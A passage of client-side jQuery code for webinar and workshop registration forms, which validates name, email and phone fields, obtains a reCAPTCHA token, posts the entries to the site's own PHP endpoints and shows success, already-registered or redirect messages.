                                        counter--;
                                        jQuery('.has-success-redirect .success_msg_redirect #webinar_counter').css({"text-decoration" : "underline", "font-weight" : "bold", "color" : "darkgreen"});
                                        jQuery('.has-success-redirect .success_msg_redirect #webinar_counter').html(counter);
                                        if (counter == 1) {
                                            window.location.href = response_split[1];
                                            clearInterval(interval);
                                        }
                                    }, 1000);
                                }
                                else
                                {
                                    var interval = setInterval(function() {
                                        counter--;                                    
                                        if (counter == 1) {
                                            window.location.href = response_split[1];
                                            clearInterval(interval);
                                        }
                                    }, 1000);
                                }                                
                            }
                            else
                            {
                                jQuery("#btn_submit").prop('disabled', false);
                                jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                                jQuery('.web_warning, .web_warning .warning_msg').fadeIn();
                            }
                        },
                      error:function(response){
                        console.log(response);
                        jQuery("#btn_submit").prop('disabled', false);
                        jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                        jQuery('.web_warning, .web_warning .warning_msg').fadeIn();
                      }			
                    });         
                }            
            }
            else
            {
                var phone_number = '';
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();

                console.log('Title = '+webinar_student_title);
                //console.log(first_name+','+last_name+','+email+','+webinar_id+','+subscribe_us);
                jQuery.ajax({
                    type: 'POST',
                     url : fullpath+'/webinar_submit_jp_global.php?first_name='+encodeURIComponent(first_name)+'&university_email='+encodeURIComponent(university_email)+'&webinar_phone='+encodeURIComponent(phone_number)+'&webinar_id='+webinar_id+'&webinar_type='+webinar_type+'&subscribe_us='+subscribe_us+'&webinar_name='+encodeURIComponent(webinar_name)+'&university_name='+encodeURIComponent(university_name)+'&department_name='+encodeURIComponent(department_name)+'&webinar_bid='+webinar_bid+'&webinar_source='+encodeURIComponent(webinar_source)+'&webinar_medium='+encodeURIComponent(webinar_medium)+'&webinar_campaign='+encodeURIComponent(webinar_campaign)+'&recaptcha_response='+encodeURIComponent(token)+'&webinar_student_title='+encodeURIComponent(webinar_student_title)+'&webinar_title_other='+encodeURIComponent(webinar_title_other),
                    dataType: 'jsonp',
                    jsonpCallback: "callback",
                    data : 'first_name='+encodeURIComponent(first_name)+'&university_email='+encodeURIComponent(university_email)+'&webinar_phone='+encodeURIComponent(phone_number)+'&webinar_id='+webinar_id+'&webinar_type='+webinar_type+'&subscribe_us='+subscribe_us+'&webinar_name='+encodeURIComponent(webinar_name)+'&university_name='+encodeURIComponent(university_name)+'&department_name='+encodeURIComponent(department_name)+'&webinar_bid='+webinar_bid+'&webinar_source='+encodeURIComponent(webinar_source)+'&webinar_medium='+encodeURIComponent(webinar_medium)+'&webinar_campaign='+encodeURIComponent(webinar_campaign)+'&recaptcha_response='+encodeURIComponent(token)+'&webinar_student_title='+encodeURIComponent(webinar_student_title)+'&webinar_title_other='+encodeURIComponent(webinar_title_other),
                    success:function(response){
                        console.log(response);
                        var response_split = response.split("|");
                        //console.log(response_split);
                        if(response_split[0] == "User registered")		
                        {
                            jQuery("#btn_submit").prop('disabled', false);
                            jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                            jQuery('.has-success, .has-success .success_msg').fadeIn(); 
                            ga('send', 'event', 'WebinarRegSuccessMessage', 'RegistrationBtnClick', 'WebinarPage');
                        }
                        else if(response_split[0] == "The user is already registered")
                        {
                            jQuery("#btn_submit").prop('disabled', false);
                            jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                            jQuery('.web_already_registered, .web_already_registered .already_registered_msg').fadeIn();
                        }
                        else if(response_split[0] == "User registered old")
                        {
                            jQuery("#btn_submit").prop('disabled', false);
                            jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                            jQuery('.has-success-redirect, .has-success-redirect .success_msg_redirect').fadeIn();     
                            window.setTimeout(function(){                            
                                window.location.href = response_split[1];
                            }, 6000);   
                            
                            
                            if(jQuery("#webinar_counter").length)
                            {
                                var interval = setInterval(function() {
                                    counter--;
                                    jQuery('.has-success-redirect .success_msg_redirect #webinar_counter').css({"text-decoration" : "underline", "font-weight" : "bold", "color" : "darkgreen"});
                                    jQuery('.has-success-redirect .success_msg_redirect #webinar_counter').html(counter);
                                    if (counter == 1) {
                                        window.location.href = response_split[1];
                                        clearInterval(interval);
                                    }
                                }, 1000);
                            }
                            else
                            {
                                var interval = setInterval(function() {
                                    counter--;                                    
                                    if (counter == 1) {
                                        window.location.href = response_split[1];
                                        clearInterval(interval);
                                    }
                                }, 1000);
                            }
                        }
                        else
                        {
                            jQuery("#btn_submit").prop('disabled', false);
                            jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                            jQuery('.web_warning, .web_warning .warning_msg').fadeIn();
                        }
                    },
                  error:function(response){
                    console.log(response);
                    jQuery("#btn_submit").prop('disabled', false);
                    jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                    jQuery('.web_warning, .web_warning .warning_msg').fadeIn();
                  }			
                });         
            }
                
            });
        });		
    });
	
	/* webinar 2022 */
	
	 jQuery("#webinar_submit_btn_lpw").click(function(){	
        
        grecaptcha.ready(function () {
            grecaptcha.execute('6LcKm8UZAAAAAIQGO7vhznrUoHGmXmHs2_jHG-lX', { action: 'submit' }).then(function (token) {
                var recaptchaResponse = document.getElementById('recaptchaResponse');
                recaptchaResponse.value = token;
        
            var first_name = jQuery("#webinar_first_name").val();
            var university_email = jQuery("#webinar_uni_email").val();        
            var webinar_id = jQuery("#webinar_id").val();
            var webinar_student_title = jQuery("#webinar_student_title").val();
            var webinar_title_other = jQuery("#webinar_title_other").val();
            var webinar_type = jQuery("#webinar_type").val();
            var webinar_name = jQuery("#webinar_name").val();
            //var university_name = jQuery("#university_name").val();
            var department_name = jQuery("#department_name").val();
            var webinar_bid = jQuery("#webinar_bid").val();
            var webinar_cid = jQuery("#webinar_cid").val();
            var subscribe_us = jQuery("#subscribe_us").val(); 
            var webinar_pid = jQuery("#webinar_pid").val();
            var webinar_source = GetURLParameter('utm_source');
            var webinar_medium = GetURLParameter('utm_medium');
            var webinar_campaign = GetURLParameter('utm_campaign');
		    var webinar_profile_dop = jQuery("#webinar_profile_dop").val(); 
            var options_selected = jQuery('#webinar_selection option:selected').map(function(a, item){return item.value;});
			var options_splice = Object.values(options_selected);
            console.log(options_splice);
            var options_length = options_splice.length - 2;
            options_splice.splice(-2, options_length);
            //console.log(options_splice.splice(-2, options_length));
            var webinar_selection = options_splice.toString();
			var options_selected_two = jQuery('#webinar_selection_two option:selected').map(function(a, item){return item.value;});
			var options_splice_two = Object.values(options_selected_two);
            console.log(options_splice_two);
            var options_length = options_splice_two.length - 2;
            options_splice_two.splice(-2, options_length);
            var webinar_selection_two = options_splice_two.toString();
			//var webinar_profile_dop = jQuery("#webinar_profile_dop option:selected" ).map(function(a, item){return item.value;});
			//var options_splice_pro = Object.values(options_selected_pro);
		    //console.log("suhdir", options_splice_pro);
            //var webinar_profile_dop = options_splice_pro.toString();
			//var options_splice_pro = Object.values(options_selected_pro);
            //console.log(options_splice_pro);
             //var options_length = options_splice_pro.length - 2;
            //options_splice_pro.splice(-2, options_length);
             
            //console.log(options_splice.splice(-2, options_length));
            jQuery('.has-success, .has-warning').hide();
            //console.log(webinar_selection);
			
		
			
            var emailblockReg = /^([\w-\.]+@(?!gmail.com)(?!naver.com)(?!daum.net)(?!yahoo.com)(?!hanmail.net)(?!hotmail.com)(?!nate.com)(?!outlook.com)(?!GMAIL.COM)(?!NAVER.COM)(?!DAUM.NET)(?!YAHOO.COM)(?!HANMAIL.NET)(?!HOTMAIL.COM)(?!NATE.COM)(?!OUTLOOK.COM)([\w-]+\.)+[\w-]{2,4})?$/;
            var phoneregex = /^(?=.*[0-9])[- +()0-9]+$/gm;

            if(webinar_bid == 1 || webinar_bid == 10 || webinar_bid == 17)
            { 
                var countryData = iti.getSelectedCountryData();
                var input = document.querySelector("#webinar_phone");                 
                var phone = jQuery("#webinar_phone").val();            
            }
            else
            {
                var phone = jQuery("#webinar_phone").val();
            }                
            
            if((webinar_bid != 20 && webinar_bid == 1 && webinar_cid == 1628))
            {
                var email = "NA";   
            }
            else if(webinar_bid != 20)
            {
                var email = jQuery("#webinar_email").val();      
            }
            else
            {
                var email = "NA";
            }
            jQuery('.has-success, .has-warning').hide();

            if(jQuery('#subscribe_us').is(":checked"))
            {
                var subscribe_us = "Yes";
            }
            else
            {
                var subscribe_us = "No";
            }
            //console.log(email);
            if(first_name.trim() == "")
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#webinar_first_name').parent().addClass('has-error');
                jQuery('.firstname_error').show();
                return false;
            } 
            /*else if(university_name.trim() == "")
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#university_name').parent().addClass('has-error');
                jQuery('.univ_name_error').show();
                return false;
            }*/
            else if(university_email.trim() == "" || !validateEmail(university_email))
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#webinar_uni_email').parent().addClass('has-error');
                jQuery('.uni_email_error').show();
                return false;
            }
            else if(!emailblockReg.test(university_email) && webinar_bid == 10)
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#webinar_uni_email').parent().addClass('has-error');
                jQuery('.uni_email_error').show();
                return false;
            }
            else if(((email.trim() == "" || !validateEmail(email)) && webinar_bid != 20 && webinar_cid != 1628 && webinar_bid != 14))
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#webinar_email').parent().addClass('has-error');
                jQuery('.email_error').show();
                return false;
            }
            else if((department_name.trim() == "" && webinar_bid == 20) || (department_name.trim() == "" && webinar_bid == 1 && webinar_cid == 1628))
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#department_name').parent().addClass('has-error');
                jQuery('.department_name_error').show();
                return false;
            }        
            else if(webinar_bid == 1 || webinar_bid == 10 || webinar_bid == 17)
            {
                if(!phoneregex.test(phone) && phone.trim() != "")
                {
                    errorMsg.innerHTML = "Please enter a valid number";              
                    jQuery('.form-group').removeClass('has-error');
                    jQuery('.help-block').hide();
                    jQuery('#webinar_phone').parent().addClass('has-error');
                    jQuery('.phone_error').show();
                    return false;       
                }
				else if(options_selected.length == 0)
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#webinar_selection').parent().parent().addClass('has-error');
                jQuery('.topic_error').show();
                return false;
            }
                else
                {      
                    var phone_number = '';
                    if(phone.trim() != "")
                    {
                        phone_number = '+'+countryData.dialCode+' '+phone;        
                    }   

                    jQuery('.form-group').removeClass('has-error');
                    jQuery('.help-block').hide();
                    console.log('Title = '+webinar_student_title);
                    //console.log(first_name+','+last_name+','+email+','+webinar_id+','+subscribe_us);
                    jQuery.ajax({
                        type: 'POST',
                        url : fullpath+'/webinar_submit_lpw.php?first_name='+encodeURIComponent(first_name)+'&university_email='+encodeURIComponent(university_email)+'&email_id='+encodeURIComponent(email)+'&webinar_phone='+encodeURIComponent(phone_number)+'&webinar_id='+webinar_id+'&webinar_type='+webinar_type+'&subscribe_us='+subscribe_us+'&webinar_name='+encodeURIComponent(webinar_name)+'&department_name='+encodeURIComponent(department_name)+'&webinar_bid='+webinar_bid+'&webinar_source='+encodeURIComponent(webinar_source)+'&webinar_medium='+encodeURIComponent(webinar_medium)+'&webinar_campaign='+encodeURIComponent(webinar_campaign)+'&recaptcha_response='+encodeURIComponent(token)+'&webinar_selection='+encodeURIComponent(webinar_selection)+'&webinar_selection_two='+encodeURIComponent(webinar_selection_two)+'&webinar_profile_dop='+encodeURIComponent(webinar_profile_dop)+'&webinar_student_title='+encodeURIComponent(webinar_student_title)+'&webinar_title_other='+encodeURIComponent(webinar_title_other),
                        dataType: 'jsonp',
                        jsonpCallback: "callback",
                        data : 'first_name='+encodeURIComponent(first_name)+'&university_email='+encodeURIComponent(university_email)+'&email_id='+encodeURIComponent(email)+'&webinar_phone='+encodeURIComponent(phone_number)+'&webinar_id='+webinar_id+'&webinar_type='+webinar_type+'&subscribe_us='+subscribe_us+'&webinar_name='+encodeURIComponent(webinar_name)+'&department_name='+encodeURIComponent(department_name)+'&webinar_bid='+webinar_bid+'&webinar_source='+encodeURIComponent(webinar_source)+'&webinar_medium='+encodeURIComponent(webinar_medium)+'&webinar_campaign='+encodeURIComponent(webinar_campaign)+'&recaptcha_response='+encodeURIComponent(token)+'&webinar_selection='+encodeURIComponent(webinar_selection)+'&webinar_selection_two='+encodeURIComponent(webinar_selection_two)+'&webinar_profile_dop='+encodeURIComponent(webinar_profile_dop)+'&webinar_student_title='+encodeURIComponent(webinar_student_title)+'&webinar_title_other='+encodeURIComponent(webinar_title_other),
                        success:function(response){
                            console.log(response);
                            var response_split = response.split("|");
                            //console.log(response_split);
                            if(response_split[0] == "User registered")		
                            {
                                jQuery("#btn_submit").prop('disabled', false);
                                jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                                jQuery('.has-success, .has-success .success_msg').fadeIn(); 
                                ga('send', 'event', 'WebinarRegSuccessMessage', 'RegistrationBtnClick', 'WebinarPage');
                            }
                            else if(response_split[0] == "The user is already registered")
                            {
                                jQuery("#btn_submit").prop('disabled', false);
                                //jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                                //jQuery('.web_already_registered, .web_already_registered .already_registered_msg').fadeIn();
                                jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                                jQuery('.has-success, .has-success .success_msg').fadeIn(); 
                            }
                            else if(response_split[0] == "User registered old")
                            {
                                jQuery("#btn_submit").prop('disabled', false);
                                jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                                jQuery('.has-success-redirect, .has-success-redirect .success_msg_redirect').fadeIn();     
                                window.setTimeout(function(){                            
                                    window.location.href = response_split[1];
                                }, 6000);   
                                
                                if(jQuery("#webinar_counter").length)
                                {
                                    var interval = setInterval(function() {
                                        counter--;
                                        jQuery('.has-success-redirect .success_msg_redirect #webinar_counter').css({"text-decoration" : "underline", "font-weight" : "bold", "color" : "darkgreen"});
                                        jQuery('.has-success-redirect .success_msg_redirect #webinar_counter').html(counter);
                                        if (counter == 1) {
                                            window.location.href = response_split[1];
                                            clearInterval(interval);
                                        }
                                    }, 1000);
                                }
                                else
                                {
                                    var interval = setInterval(function() {
                                        counter--;                                    
                                        if (counter == 1) {
                                            window.location.href = response_split[1];
                                            clearInterval(interval);
                                        }
                                    }, 1000);
                                }                                
                            }
                            else
                            {
                                jQuery("#btn_submit").prop('disabled', false);
                                jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                                jQuery('.web_warning, .web_warning .warning_msg').fadeIn();
                            }
                        },
                      error:function(response){
                        console.log(response);
                        jQuery("#btn_submit").prop('disabled', false);
                        jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                        jQuery('.web_warning, .web_warning .warning_msg').fadeIn();
                      }			
                    });         
                }            
            }
            else
            {
                var phone_number = '';
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();


                console.log('Title = '+webinar_student_title);
                //console.log(first_name+','+last_name+','+email+','+webinar_id+','+subscribe_us);
                jQuery.ajax({
                    type: 'POST',
                     url : fullpath+'/webinar_submit_lpw.php?first_name='+encodeURIComponent(first_name)+'&university_email='+encodeURIComponent(university_email)+'&email_id='+encodeURIComponent(email)+'&webinar_phone='+encodeURIComponent(phone_number)+'&webinar_id='+webinar_id+'&webinar_type='+webinar_type+'&subscribe_us='+subscribe_us+'&webinar_name='+encodeURIComponent(webinar_name)+'&department_name='+encodeURIComponent(department_name)+'&webinar_bid='+webinar_bid+'&webinar_source='+encodeURIComponent(webinar_source)+'&webinar_medium='+encodeURIComponent(webinar_medium)+'&webinar_campaign='+encodeURIComponent(webinar_campaign)+'&recaptcha_response='+encodeURIComponent(token)+'&webinar_selection='+encodeURIComponent(webinar_selection)+'&webinar_selection_two='+encodeURIComponent(webinar_selection_two)+'&webinar_profile_dop='+encodeURIComponent(webinar_profile_dop)+'&webinar_student_title='+encodeURIComponent(webinar_student_title)+'&webinar_title_other='+encodeURIComponent(webinar_title_other),
                    dataType: 'jsonp',
                    jsonpCallback: "callback",
                    data : 'first_name='+encodeURIComponent(first_name)+'&university_email='+encodeURIComponent(university_email)+'&email_id='+encodeURIComponent(email)+'&webinar_phone='+encodeURIComponent(phone_number)+'&webinar_id='+webinar_id+'&webinar_type='+webinar_type+'&subscribe_us='+subscribe_us+'&webinar_name='+encodeURIComponent(webinar_name)+'&department_name='+encodeURIComponent(department_name)+'&webinar_bid='+webinar_bid+'&webinar_source='+encodeURIComponent(webinar_source)+'&webinar_medium='+encodeURIComponent(webinar_medium)+'&webinar_campaign='+encodeURIComponent(webinar_campaign)+'&recaptcha_response='+encodeURIComponent(token)+'&webinar_selection='+encodeURIComponent(webinar_selection)+'&webinar_selection_two='+encodeURIComponent(webinar_selection_two)+'&webinar_profile_dop='+encodeURIComponent(webinar_profile_dop)+'&webinar_student_title='+encodeURIComponent(webinar_student_title)+'&webinar_title_other='+encodeURIComponent(webinar_title_other),
                    success:function(response){
                        console.log(response);
                        var response_split = response.split("|");
                        //console.log(response_split);
                        if(response_split[0] == "User registered")		
                        {
                            jQuery("#btn_submit").prop('disabled', false);
                            jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                            jQuery('.has-success, .has-success .success_msg').fadeIn(); 
                            ga('send', 'event', 'WebinarRegSuccessMessage', 'RegistrationBtnClick', 'WebinarPage');
                        }
                        else if(response_split[0] == "The user is already registered")
                        {
                            jQuery("#btn_submit").prop('disabled', false);
                            jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                            jQuery('.web_already_registered, .web_already_registered .already_registered_msg').fadeIn();
                        }
                        else if(response_split[0] == "User registered old")
                        {
                            jQuery("#btn_submit").prop('disabled', false);
                            jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                            jQuery('.has-success-redirect, .has-success-redirect .success_msg_redirect').fadeIn();     
                            window.setTimeout(function(){                            
                                window.location.href = response_split[1];
                            }, 6000);   
                            
                            
                            if(jQuery("#webinar_counter").length)
                            {
                                var interval = setInterval(function() {
                                    counter--;
                                    jQuery('.has-success-redirect .success_msg_redirect #webinar_counter').css({"text-decoration" : "underline", "font-weight" : "bold", "color" : "darkgreen"});
                                    jQuery('.has-success-redirect .success_msg_redirect #webinar_counter').html(counter);
                                    if (counter == 1) {
                                        window.location.href = response_split[1];
                                        clearInterval(interval);
                                    }
                                }, 1000);
                            }
                            else
                            {
                                var interval = setInterval(function() {
                                    counter--;                                    
                                    if (counter == 1) {
                                        window.location.href = response_split[1];
                                        clearInterval(interval);
                                    }
                                }, 1000);
                            }
                        }
                        else
                        {
                            jQuery("#btn_submit").prop('disabled', false);
                            jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                            jQuery('.web_warning, .web_warning .warning_msg').fadeIn();
                        }
                    },
                  error:function(response){
                    console.log(response);
                    jQuery("#btn_submit").prop('disabled', false);
                    jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                    jQuery('.web_warning, .web_warning .warning_msg').fadeIn();
                  }			
                });         
            }
                
            });
        });		
    });
	
	/* webinar 2022 */
	
	/* KR new form sec */
	
	 jQuery("#webinar_submit_btn_pv_paid").click(function(){	
        
        grecaptcha.ready(function () {
            grecaptcha.execute('6LcKm8UZAAAAAIQGO7vhznrUoHGmXmHs2_jHG-lX', { action: 'submit' }).then(function (token) {
                var recaptchaResponse = document.getElementById('recaptchaResponse');
                recaptchaResponse.value = token;
        
            var first_name = jQuery("#webinar_first_name").val();
            //var university_email = jQuery("#webinar_uni_email").val();        
            var webinar_id = jQuery("#webinar_id").val();
            var webinar_student_title = jQuery("#webinar_student_title").val();
            var webinar_title_other = jQuery("#webinar_title_other").val();
            var webinar_type = jQuery("#webinar_type").val();
            var webinar_name = jQuery("#webinar_name").val();
            //var university_name = jQuery("#university_name").val();
            var department_name = jQuery("#department_name").val();
            var workshop_student_id = jQuery("#workshop_student_id").val();
            var workshop_other = jQuery("#workshop_other").val();
            var workshop_answers = jQuery("#workshop_answers").val();
			var workshop_daopt = jQuery("#workshop_daopt").val();
            var workshop_comments = jQuery("#workshop_comments").val();
            var webinar_bid = jQuery("#webinar_bid").val();
            var webinar_cid = jQuery("#webinar_cid").val();
            var subscribe_us = jQuery("#subscribe_us").val(); 
            var webinar_pid = jQuery("#webinar_pid").val();
            var webinar_source = GetURLParameter('utm_source');
            var webinar_medium = GetURLParameter('utm_medium');
            var webinar_campaign = GetURLParameter('utm_campaign');  
            var emailblockReg = /^([\w-\.]+@(?!gmail.com)(?!naver.com)(?!daum.net)(?!yahoo.com)(?!hanmail.net)(?!hotmail.com)(?!nate.com)(?!outlook.com)(?!GMAIL.COM)(?!NAVER.COM)(?!DAUM.NET)(?!YAHOO.COM)(?!HANMAIL.NET)(?!HOTMAIL.COM)(?!NATE.COM)(?!OUTLOOK.COM)([\w-]+\.)+[\w-]{2,4})?$/;
            var phoneregex = /^(?=.*[0-9])[- +()0-9]+$/gm;

            if(webinar_bid == 1 || webinar_bid == 10 || webinar_bid == 17)
            { 
                var countryData = iti.getSelectedCountryData();
                var input = document.querySelector("#webinar_phone");                 
                var phone = jQuery("#webinar_phone").val();            
            }
            else
            {
                var phone = jQuery("#webinar_phone").val();
            }                
            
            if((webinar_bid != 20 && webinar_bid == 1 && webinar_cid == 1628))
            {
                var email = "NA";   
            }
            else if(webinar_bid != 20)
            {
                var email = jQuery("#webinar_email").val();      
            }
            else
            {
                var email = "NA";
            }
            jQuery('.has-success, .has-warning').hide();

            if(jQuery('#subscribe_us').is(":checked"))
            {
                var subscribe_us = "Yes";
            }
            else
            {
                var subscribe_us = "No";
            }
            //console.log(email);
            if(first_name.trim() == "")
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#webinar_first_name').parent().addClass('has-error');
                jQuery('.firstname_error').show();
                return false;
            } 
     /*       else if(university_name.trim() == "")
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#university_name').parent().addClass('has-error');
                jQuery('.univ_name_error').show();
                return false;
            }*/
          /*  else if(university_email.trim() == "" || !validateEmail(university_email))
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#webinar_uni_email').parent().addClass('has-error');
                jQuery('.uni_email_error').show();
                return false;
            }
            else if(!emailblockReg.test(university_email) && webinar_bid == 10)
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#webinar_uni_email').parent().addClass('has-error');
                jQuery('.uni_email_error').show();
                return false;
            }*/
            else if(((email.trim() == "" || !validateEmail(email)) && webinar_bid != 20 && webinar_cid != 1628 && webinar_bid != 14))
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#webinar_email').parent().addClass('has-error');
                jQuery('.email_error').show();
                return false;
            }
            else if((department_name.trim() == "" && webinar_bid == 20) || (department_name.trim() == "" && webinar_bid == 1 && webinar_cid == 1628))
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#department_name').parent().addClass('has-error');
                jQuery('.department_name_error').show();
                return false;
            }   
            else if(workshop_student_id.trim() == "")
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#workshop_student_id').parent().addClass('has-error');
                jQuery('.id_error').show();
                return false;
            }     
            else if(workshop_answers.trim() == "")
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#workshop_answers').parent().addClass('has-error');
                jQuery('.question_error').show();
                return false;
            }  
            else if(webinar_bid == 1 || webinar_bid == 10 || webinar_bid == 17)
            {
                if(!phoneregex.test(phone) && phone.trim() != "")
                {
                    errorMsg.innerHTML = "Please enter a valid number";              
                    jQuery('.form-group').removeClass('has-error');
                    jQuery('.help-block').hide();
                    jQuery('#webinar_phone').parent().addClass('has-error');
                    jQuery('.phone_error').show();
                    return false;       
                }
                else
                {      
                    var phone_number = '';
                    if(phone.trim() != "")
                    {
                        phone_number = '+'+countryData.dialCode+' '+phone;        
                    }   

                    jQuery('.form-group').removeClass('has-error');
                    jQuery('.help-block').hide();
                    console.log('Title = '+webinar_student_title);
                    //console.log(first_name+','+last_name+','+email+','+webinar_id+','+subscribe_us);
                    jQuery.ajax({
                        type: 'POST',
                        url : fullpath+'/webinar_submit-prv-paid.php?first_name='+encodeURIComponent(first_name)+'&email_id='+encodeURIComponent(email)+'&webinar_phone='+encodeURIComponent(phone_number)+'&webinar_id='+webinar_id+'&webinar_type='+webinar_type+'&subscribe_us='+subscribe_us+'&webinar_name='+encodeURIComponent(webinar_name)+'&department_name='+encodeURIComponent(department_name)+'&webinar_bid='+webinar_bid+'&webinar_source='+encodeURIComponent(webinar_source)+'&webinar_medium='+encodeURIComponent(webinar_medium)+'&webinar_campaign='+encodeURIComponent(webinar_campaign)+'&recaptcha_response='+encodeURIComponent(token)+'&webinar_student_title='+encodeURIComponent(webinar_student_title)+'&webinar_title_other='+encodeURIComponent(webinar_title_other)+'&workshop_student_id='+encodeURIComponent(workshop_student_id)+'&workshop_other='+encodeURIComponent(workshop_other)+'&workshop_daopt='+encodeURIComponent(workshop_daopt)+'&workshop_answers='+encodeURIComponent(workshop_answers)+'&workshop_comments='+encodeURIComponent(workshop_comments),
                        dataType: 'jsonp',
                        jsonpCallback: "callback",
                        data : 'first_name='+encodeURIComponent(first_name)+'&email_id='+encodeURIComponent(email)+'&webinar_phone='+encodeURIComponent(phone_number)+'&webinar_id='+webinar_id+'&webinar_type='+webinar_type+'&subscribe_us='+subscribe_us+'&webinar_name='+encodeURIComponent(webinar_name)+'&department_name='+encodeURIComponent(department_name)+'&webinar_bid='+webinar_bid+'&webinar_source='+encodeURIComponent(webinar_source)+'&webinar_medium='+encodeURIComponent(webinar_medium)+'&webinar_campaign='+encodeURIComponent(webinar_campaign)+'&recaptcha_response='+encodeURIComponent(token)+'&webinar_student_title='+encodeURIComponent(webinar_student_title)+'&webinar_title_other='+encodeURIComponent(webinar_title_other)+'&workshop_student_id='+encodeURIComponent(workshop_student_id)+'&workshop_other='+encodeURIComponent(workshop_other)+'&workshop_daopts='+encodeURIComponent(workshop_daopt)+'&workshop_answers='+encodeURIComponent(workshop_answers)+'&workshop_comments='+encodeURIComponent(workshop_comments),
                        success:function(response){
                            console.log(response);
                            var response_split = response.split("|");
                            //console.log(response_split);
                            if(response_split[0] == "User registered")		
                            {
                                jQuery("#btn_submit").prop('disabled', false);
                                jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                                jQuery('.has-success, .has-success .success_msg').fadeIn(); 
                                ga('send', 'event', 'WebinarRegSuccessMessage', 'RegistrationBtnClick', 'WebinarPage');
                            }
                            else if(response_split[0] == "The user is already registered")
                            {
                                jQuery("#btn_submit").prop('disabled', false);
                                //jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                                //jQuery('.web_already_registered, .web_already_registered .already_registered_msg').fadeIn();
                                jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                                jQuery('.has-success, .has-success .success_msg').fadeIn(); 
                            }
                            else if(response_split[0] == "User registered old")
                            {
                                jQuery("#btn_submit").prop('disabled', false);
                                jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                                jQuery('.has-success-redirect, .has-success-redirect .success_msg_redirect').fadeIn();     
                                window.setTimeout(function(){                            
                                    window.location.href = response_split[1];
                                }, 6000);   
                                
                                if(jQuery("#webinar_counter").length)
                                {
                                    var interval = setInterval(function() {
                                        counter--;
                                        jQuery('.has-success-redirect .success_msg_redirect #webinar_counter').css({"text-decoration" : "underline", "font-weight" : "bold", "color" : "darkgreen"});
                                        jQuery('.has-success-redirect .success_msg_redirect #webinar_counter').html(counter);
                                        if (counter == 1) {
                                            window.location.href = response_split[1];
                                            clearInterval(interval);
                                        }
                                    }, 1000);
                                }
                                else
                                {
                                    var interval = setInterval(function() {
                                        counter--;                                    
                                        if (counter == 1) {
                                            window.location.href = response_split[1];
                                            clearInterval(interval);
                                        }
                                    }, 1000);
                                }                                
                            }
                            else
                            {
                                jQuery("#btn_submit").prop('disabled', false);
                                jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                                jQuery('.web_warning, .web_warning .warning_msg').fadeIn();
                            }
                        },
                      error:function(response){
                        console.log(response);
                        jQuery("#btn_submit").prop('disabled', false);
                        jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                        jQuery('.web_warning, .web_warning .warning_msg').fadeIn();
                      }			
                    });         
                }            
            }
            else
            {
                var phone_number = '';
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                console.log('Title = '+webinar_student_title);
                //console.log(first_name+','+last_name+','+email+','+webinar_id+','+subscribe_us);
                jQuery.ajax({
                    type: 'POST',
